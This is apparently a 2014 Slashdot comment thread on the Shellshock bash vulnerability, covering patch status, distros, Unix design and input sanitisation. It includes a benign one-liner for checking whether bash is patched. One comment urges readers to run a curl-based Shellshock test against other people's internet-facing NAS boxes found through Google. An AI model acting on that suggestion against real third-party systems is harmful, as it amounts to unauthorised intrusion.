    The following distros are known to have added the "unofficial" namespace fix in the second round of security updates, which reportedly *does* mitigate the undisclosed vulnerability: Debian, Ubuntu, Fedora, RHEL.

    Since the upstream namespace fix ALSO mitigages the undisclosed vulnerability, I'd expect all distros to have picked one of the two patches by now. Note that "mitigates" means "makes it very difficult/impossible to trigger remotely", i.e. closes at least the CGI / popen / system/dhclient doors, which are the worse ones that allow for easy mass-p0wn1ng.

    To know whether you have one of the two namespace fixes, which should mitigate the undisclosed vulnerability (according to Icamtuf, who discovered the two yet-to-be-disclosed security bugs):

    foo='() { echo not patched; }' bash -c foo
    If the command shows "not patched", you don't have the patch and you are still vulnerable to a (currently non-public) RCE, even if you applied the original one (or the subsequent upstream patch that addressed the issue found by Tavis).

    Oh, and if it shows "command not found", you're good.

  39. Soon to be patched by slashdice · · Score: 1

    Damn straight! Mactards are still using a vulernable bash. Unlike us lunix geniuses that have patched bash 3 times in the past week and are still using a vulnerable bash!

    --
    Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
  40. Parsers by slashdice · · Score: 1

    Oh it parses it just fine. It was just a dumb idea to parse it in the first place.

    If somebody chokes and die eating dog shit picked up off the ground, the proper question to ask isn't "why didn't he chew before swallowing?", it's "why the fuck was he eating dog shit?"

    --
    Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
  41. naive question by Anonymous Coward · · Score: 0

    what if I change default shell to zsh?

    1. Re:naive question by Troed · · Score: 1

      You'll still be vulnerable to any script that specifies #!/bin/bash - not uncommon

  42. Re:highly damaging to linux on the server by Kythe · · Score: 1

    Depends on the headlines you read.

    http://web.nvd.nist.gov/view/v...

    If you get your server administration advice from CNN's front page, perhaps your employer is not getting his/her money's worth.

    --

    Kythe
  43. Re: Bash is a very crappy programming language. by bill_mcgonigle · · Score: 2

    To be fair, perl had these problems in the early 90's and "taint mode " was introduced to protect against them and unforseen future variations on them. I seem to recall a release of PHP in the past couple years has adopted some of the same techniques. Bash folks won't be able to achieve a great result over a weekend. That we're here two decades later tells you most of what you need to know about the appropriateness of selecting bash for this kind of work.

    --
    My God, it's Full of Source!
    OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  44. Re:Bash is a very crappy programming language. by Eunuchswear · · Score: 1

    Nope.

    A lot of it is written in Bourne shell scripts, which may be interpreted by bash, ksh, dash or some other "sh" implementation.

    Some of it (too much) is actually written in bash, but probably shouldn't be. (Hello authors of "zless"),

    --
    Watch this Heartland Institute video
  45. With enough eyeballs by Anonymous Coward · · Score: 0

    ...all bugs are (supposedly) shallow. So, why did it take so long for this to be found? Do security holes not count as "bugs"?

  46. Internet of Things by Anonymous Coward · · Score: 0

    What happens 20 years from now when you LED bulb has a network vulnerability?
    Can we afford the risk of wiring our appliances to the net?

    1. Re:Internet of Things by ray-auch · · Score: 2

      maybe, "How many hackers does it take to change a light bulb ?"

  47. That came from ksh. by emil · · Score: 1

    It appears to have been implemented in some ksh versions in 1988. My Bolsky/Korn ksh book says "This feature is not available on all versions of the 11/16/88 version of ksh."

    GNU AWK uses the same syntax.

  48. Whistling past the graveyard. by westlake · · Score: 0

    Except that Windows probably has just as many holes only you dont know about them because they aren't public or because Microsoft has decided not to invest the engineering resources to fix them.

    I think it is fair to remind the geek that BASH is a product of the FSF and has been in use since 1989.

    25 years ago.

    Which makes a perfect farce of the notion that many eyes make all bugs shallow.

    1. Re:Whistling past the graveyard. by TangoMargarine · · Score: 1

      many eyes make all bugs shallow.

      Doesn't specify a time frame. And 25 years is still sooner than never if the Microsoft dev team don't catch it themselves.

      --
      Unity? Screw that: XFCE. Slashdot Beta? Screw that: SoylentNews. Australis? Screw that: Pale Moon. UX developers DIAF
    2. Re:Whistling past the graveyard. by countach · · Score: 1

      I don't think many eyes cared to look at the grotesque internals of bash. I've glanced at it before, and it aint pretty.

  49. Re:Already mitigated on Debian, Ubuntu, RHEL, Fedo by Eunuchswear · · Score: 1

    The following O.Ses. doesn't use bash for /bin/sh, system() and popen() by default and are a lot safer than the other Linux distros against exploitation of Shellshock: Debian, Ubuntu.

    Unless your CGI script happens to run zgrep or any of the other things that force bash use for no obvious reason.

    https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762915, apparently just fixed.

    --
    Watch this Heartland Institute video
  50. Re:highly damaging to linux on the server by operagost · · Score: 1

    Except that Windows probably has just as many holes only you dont know about them because they aren't public or because Microsoft has decided not to invest the engineering resources to fix them or because Microsoft has fixed them in a patch but the actual security flaw is still unknown publicly.

    An unprovable assertion.

    --

    Gamingmuseum.com: Give your 3D accelerator a rest.
  51. You misunderstood by Anonymous Coward · · Score: 0

    Hackers can use OpenSORES to find vulnerabilities to exploit & abuse faster (for bad purposes of theirs).

    1. Re:You misunderstood by Anonymous Coward · · Score: 0

      Correct. It's tougher to use kernelmode debuggers on closed source to find vulnerabilities to exploit (same with fuzzers) than it is to actually step trace and analyze open source code that's right there in front of you to make finding vulnerabilities that the BADGUYS EXPLOIT much easier (certainly more than using a disassembler/debugger or even a fuzzer). It's an advantage to closed source vs. open source in fact.

    2. Re:You misunderstood by BronsCon · · Score: 1

      And the moment they use a found exploit, some dedicated sysadmin detects the intrusion and figures out how it was done, a bug report is filed, and it gets patched within hours. Like this bug, found by a researcher, reported, and patches were available before exploits; whether or not systems were actually patched is a factor if the sysadmin responsible for each individual system, but the fact still remains that we didn't have to wait until Patch Tuesday for a fix.

      Was the first patch complete? No. Nor was the second. The third may well not be, either, but Patch Tuesday still hasn't come around and we're better-patched than those who have to wait for that. Well, aside from OSX users (myself included), who actually paid for their OS (in the form of a hardware purchase), so yeah, I guess "you get what you pay for" holds true here, right? See what I'm getting at, here? Linux users have a steady stream of patches already available to install, for free, while OSX users are left behind by Father Apple. Well, at least *some* of us can compile our own patched replacements, so I'm still not sitting here waiting for Patch Tuesday to fix this.

      That being said, I haven't had to reboot my Windows machine for updates, lately. That might be, in part, because it does so automatically, whether I'm there to save my work or not, and regardless of whether I'm in the middle of a multi-day render that I'll have to restart, losing 4 days of progress. Thanks, Microsoft.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
  52. Re:highly damaging to linux on the server by Anonymous Coward · · Score: 0

    How the fuck did Windows get into this?!?

    Your friend: "I'm having a problem with my girlfriend, and wondering if I ought to dump her and get a new girlfriend."

    You: "I think you'll find that snuggling with rabid baboons isn't all it's cracked up to be."

    Your friend: "WTF? I wasn't suggesting forsaking human companionship, just this one particular girl."

  53. Easy fix: execve() by Anonymous Coward · · Score: 0

    Why are we still talking about this? If you are going to call BASH scripts as a CGI script or from a DHCP server just wrap BASH with a short C program that execve()'s the original BASH executable and sanitizes the environment. This is not a complicated thing to do.

  54. Remote Exploits by Anonymous Coward · · Score: 0

    I can't imagine the stupidity of these security folks or programmers. bash is not remotely, remotely exploitable. Hint, there a program that listened to a network connection, then, it decided to try and pawn off security and trustworthiness to another program. That trust was misplaces and that program is wrong.

    If you accept bash commands on a network connection and feed them to bash, then you are an idiot, full stop. Now, if you validate the arguments, the format and the content of the command, for example, you allow two formats true, false. Then, reasonably you can call bash to run those two commends. What you can't do is accept any arbitrary string and pass it to bash.

    Accept what you prove is trustworthy. Be willing to fix it, and claim responsibility when you are wrong.

    No meta characters in environment variables, trivial, not meta characters in arguments, trivial. The argument should be a number, 0 to 255, check it _first_, then pass it.

    I thought we learned this with all the sql commands from the network bugs. We seemed to do the right thing for them, why do they have it so wrong this time around?

    1. Re:Remote Exploits by ray-auch · · Score: 1

      I can't imagine the stupidity of these security folks or programmers. bash is not remotely, remotely exploitable. Hint, there a program that listened to a network connection, then, it decided to try and pawn off security and trustworthiness to another program. That trust was misplaces and that program is wrong.

      If you accept bash commands on a network connection and feed them to bash, then you are an idiot, full stop. Now, if you validate the arguments, the format and the content of the command, for example, you allow two formats true, false. Then, reasonably you can call bash to run those two commends. What you can't do is accept any arbitrary string and pass it to bash.

      Problem is that in unix the way is for tools to call other tools, and the shell is so pervasive it could be anywhere. How do you actually _know_ if you are calling bash ?

      * If you run /bin/sh are you calling bash ? Should you always check first ? Can you even check ?
      * same for calling system() etc.
      * If you run any other executable should you always check whether it is a script first ? Can you even check always ?

      And this applies all the way down the pipeline, parts of which may be user/admin configurable.

      Accept what you prove is trustworthy. Be willing to fix it, and claim responsibility when you are wrong.

      No meta characters in environment variables, trivial, not meta characters in arguments, trivial. The argument should be a number, 0 to 255, check it _first_, then pass it.

      Where in the pipeline ? What if you don't _know_ what the data is supposed to be at this point (only some other tool might do, down the pipeline, how then do you prove it is ok ? What does "no meta characters" mean in the context of an HTTP Cookie, or an email subject line ? - it is meaningless, arbitrary text is valid data in either case.

      I thought we learned this with all the sql commands from the network bugs. We seemed to do the right thing for them, why do they have it so wrong this time around?

      What we learnt was to properly sanitize and/or quote text that was executed as SQL commands. At the point that we knew it was going into a SQL command. Your web server doesn't know what you are going to use each form field for, "Robert'); DROP TABLE Students" is perfectly valid as a subject for a forum post, but as a user name in a SQL command it needs quoting first. The web server can't quote it, the cgi script or whatever down the line needs to quote it - if and when it gets used in SQL. Now, the web server also does not know and should not need to know what language a cgi script is in, but if it is bash, then bash will execute data as code before the script has chance to verify it.

      This generalises to the whole pipeline - any caller may not know what the data it is passing down the pipeline in the environment (or otherwise) actually _means_, or what is valid/non-valid/malicious. Such determination can only be made by the callee that understands the data - but bash may execute it before it gets there.

      Let's assume you are right and we can compare with SQL Injection. With SQL Injection we learned we had to properly quote data before feeding it into SQL, and fix all the places we do that. So, with bash injection, now that we know about it, to do the same we would need to sanitize / quote all environment variables whenever we call bash. Except we don't know when that is (see above), so you really mean that every program that execs any other program or feeds into any other program in a pipeline where that program might possibly be a shell script, needs to quote environment variables. That is just about every unix program ever written (and, er, where/when are you going to unquote that data ?).

      Or we fix bash, the program that is actually blindly executing data as code.

  55. Re:Parsers by TheRaven64 · · Score: 1

    Oh it parses it just fine. It was just a dumb idea to parse it in the first place.

    Re-read the latest CVEs. There are bugs in the parsers that can be exploited, so even if you're never invoking the functions they're already run through the parser and the parser is breaking things for you.

    --
    I am TheRaven on Soylent News
  56. Re:Already mitigated on Debian, Ubuntu, RHEL, Fedo by ThePhilips · · Score: 1

    Unless your CGI script happens to run zgrep or any of the other things that force bash use for no obvious reason.

    https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762915, apparently just fixed.

    Very unlikely. Most CGI engines have built-in support for gzip compression, since it could be used for compression/decompression of the content.

    Also, most "CGI" nowadays is only "CGI" by the name. Zend/PHP, RoR, mod_perl - are all either FastCGI or Apache plugins, and do not use the environment to pass information around.

    --
    All hope abandon ye who enter here.
  57. The downside of the Unix Way by JDG1980 · · Score: 1, Flamebait

    I know I'll get flamed for saying this, but it seems to me that the Shellshock bug represents a weakness in the Unix philosophy. On Windows, if a similar issue happened with cmd.exe or PowerShell, it would have only a limited effect, because the Windows shell is basically just an administration tool, and no one in their right mind would use it to pass untrusted input of any sort. In contrast, "the Unix way" encourages piping of shell commands to other shell commands, and the use of shelling out as a substitute for proper APIs. To me as a Windows power user, the idea that a basic feature like DHCP is using a shell script behind the scenes seems crazy. The better way to write re-usable code is to do the C/C++ API first, then build both the command line and GUI tools on top of that API. "The Unix way" is a clumsy hack in comparison – and it leaves the shell as a security-critical single point of failure.

    Another way to think of it is that Linux is now dealing with an issue that Windows has been struggling with for over a decade: how to fix inherently insecure design decisions without breaking compatibility with a million different legacy applications in the process. Maybe they'll need to implement the equivalent of "UAC" whenever a program tries to shell out?

  58. Re:Bash is a very crappy programming language. by arth1 · · Score: 1

    On a Fedora / Red Hat / CentOS / ScientificLinux box, do:


    yum install rpmdevtools
    cd /etc/init.d
    file * | awk '($2 = "POSIX")' | cut -d: -f1 | xargs checkbashisms

    Yeah, "too much" is an understatement.

  59. If you have a NAS on the Internet, remove it! by rduke15 · · Score: 1

    If you have a NAS accessible through the Internet, it will probably soon be part of a botnet. See Using curl to test Qnap NAS for Shellshock.

    And note that, as a bonus for crackers, the NAS even runs it's web server as root.

  60. Re:Bash is a very crappy programming language. by arth1 · · Score: 1

    file * | awk '($2 = "POSIX")' | cut -d: -f1 | xargs checkbashisms

    Lesson to self: Test before posting. That should be == instead of =, of course:

    file * | awk '($2 == "POSIX")' | cut -d: -f1 | xargs checkbashisms

    Sorry about that.

  61. Try this in the meantime... by rduke15 · · Score: 1

    For this new vulnerabilty, there are no toy-command-checks yet I believe. But in the meantime, try the "Fun Shellshock test with curl" on the NAS boxes in your neighborhood (or anywhere else this Google search points you to).

    And note that as a bonus the web server on that NAS already runs as root, so there is no need for a "privilege escalation" vulnerability. Nothing to escalate, you start from the top already.

  62. Oh, come on. by Anonymous Coward · · Score: 1

    That presupposes that the DHCP server is malicious (in which case YOU ARE ALREADY HOSED because they've already got you by the DNS) and that the client is set up to automatically execute anything DHCP provides in option 114 (who does that?).

    There are no "average end users" who are vulnerable to this who aren't equally vulnerable to attacks that don't require bash at all, and work on any DHCP client regardless of operating system - you can use DHCP to supply fake DNS servers to windows and mac clients, and once you own their DNS they are hosed.

    1. Re:Oh, come on. by ruir · · Score: 1

      I would stress out "users" because in my servers I sure do not use DHCP.

    2. Re:Oh, come on. by Anonymous Coward · · Score: 0

      Newsflash: Anybody can set up a DHCP server on a network.

      Whether the rogue DHCP server is quicker than the official one is the interesting question.

      I've got two on my network. (One provided by the router, one because I needed PXE boot once and could not bother to deactivate it.)

  63. MOD AC UP !!! by Anonymous Coward · · Score: 0

    It looks like the AC has stumbled upon the truth.
    Crappy programmers pawn off their data sanitation to the admins, at which point, it has become too late.

  64. Anyone know exactly what php5 is doing with bash? by halsathome · · Score: 1

    command : # strings /usr/lib/cgi-bin/php5 | grep bash
    gives:
    Africa/Lubumbashi
    #! /usr/local/bin/bash
    #! /usr/local/bash
    #! /usr/bin/bash
    #! /bin/bash
    what is php5 doing with those ? And no, my cgi-bin directory is not facing the world, I've had a hand-crafted /usr/lib/cgie-bin doing in place since forever.

  65. Re:highly damaging to linux on the server by ray-auch · · Score: 1

    At least with Linux, if a security hole is found (and made public or released to experts in the security community or to the relavent developers or whatever), the number of people who are able to investigate and fix the hole (and make official or unofficial fixes available) is (in most cases) significantly larger than the number of people who would e able to deal with issues in Microsoft code. And the Linux guys can have patches out much faster (and they can get into distros fairly fast too)

    There is a flip side to that, which is that too many cooks with no common management may royally spoil the broth, which is what has happened.

    When found, this was embargoed and should have been fixed under embargo, properly. Instead, someone pushed out half-baked patches that were proved to be still vulnerable within hours (if not minutes), and by then everything was public. So now we have everyone and his dog patching in panic mode, three, four or more(?) sets of patches now, with each one still proving vulnerable, because collectively we blew our chance to fix it (and test it) properly the first time.

    The eventual fix will have to be to stop playing who-finds-the-parser-bugs-first and accept that the whole feature is a security hole and needs to be removed or radically changed - something that could and should have been predicted at the start. There are various patches flying around now that do just that, probably in different incompatible ways. Those changes will, inevitably, break some stuff - and of course we could have looked and tried to figure out the extent of that, and mitigated the effect and been ready with the announcement, if it were still under embargo, but we blew that chance.

    I am all for saying that the open source development model is better - but this really is not the best example to use to illustrate it, in fact it's already heading into embarrassing farce territory.

  66. Re:highly damaging to linux on the server by Zontar+The+Mindless · · Score: 1

    There are a LOT of organizations re-evaluating the idea of using linux on the server now...

    There are lots of orgs thinking about switching to Linux? Well, yeah, thanks for that, Captain Obvious. Tell us something else we already know.

    --
    Il n'y a pas de Planet B.
  67. Time to prune the systems of bashisms by staalmannen · · Score: 1

    I have re-linked /bin/sh to another light-weight minimalistic shell and I use another sell as cli. Despite this, it is nearly impossible to completely remove Bash from a GNU/Linux system (Arch in my case) because several critical components depend on Bash (either simply by calling #!/bin/bash instead of sh or by depending on bash-specific functionality). Getting rid of those dependencies would give the user freedom to choose any sh-compatible shell. One reason this bash bug and the openssl bug before it are so devastating is that those two implementations are so ubiquitous. If each component in a system is easily replaceable with an alternative implementation, the impact would be far smaller. I fear a future systemd vulnerability....

  68. Re:Bash is a very crappy programming language. by DMUTPeregrine · · Score: 1

    Batch search & replace just screams "Beta reduction of lambda calculus statements" to those who love Turing tarpits. Or perhaps Church tarpits in this case.

    --
    Not a sentence!